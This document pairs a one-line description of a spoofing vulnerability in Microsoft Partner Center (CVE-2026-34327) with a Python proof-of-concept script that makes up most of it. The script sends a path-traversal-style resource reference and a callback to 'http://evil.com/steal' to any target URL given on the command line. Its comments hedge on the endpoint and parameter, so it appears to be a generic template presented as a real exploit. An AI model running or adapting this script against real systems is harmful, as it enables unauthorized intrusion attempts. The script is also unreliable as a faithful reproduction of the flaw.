Externally controlled reference to a resource in another sphere in Microsoft Partner Center allows an unauthorized attacker to perform spoofing over a network.
The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2026-34327
# This script demonstrates the concept of manipulating a resource reference.
# Usage: python poc.py <target_url>
import requests
import sys
def exploit(target_url):
# The vulnerable endpoint accepts a 'resource_id' or similar parameter
# that is not properly validated against the trusted sphere.
vulnerable_endpoint = f"{target_url}/api/v1/resource"
# Malicious payload: An external reference to an attacker-controlled resource
# This tricks the server into processing a resource from an untrusted sphere.
payload = {
"id": "../../../attacker-controlled/malicious.json", # Path traversal or external ref
"callback": "http://evil.com/steal"
}
headers = {
"User-Agent": "CVE-2026-34327-Scanner",
"Content-Type": "application/json"
}
try:
print(f"[*] Sending spoofing request to {target_url}...")
response = requests.post(vulnerable_endpoint, json=payload, headers=headers, timeout=10)
if response.status_code == 200:
print("[+] Request successful! The server may have processed the external reference.")
print(f"[+] Response: {response.text[:200]}")
else:
print(f"[-] Request failed with status code: {response.status_code}")
except requests.exceptions.RequestException as e:
print(f"[!] An error occurred: {e}")
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python3 poc.py <https://target-url>")
sys.exit(1)
target = sys.argv[1]
exploit(target)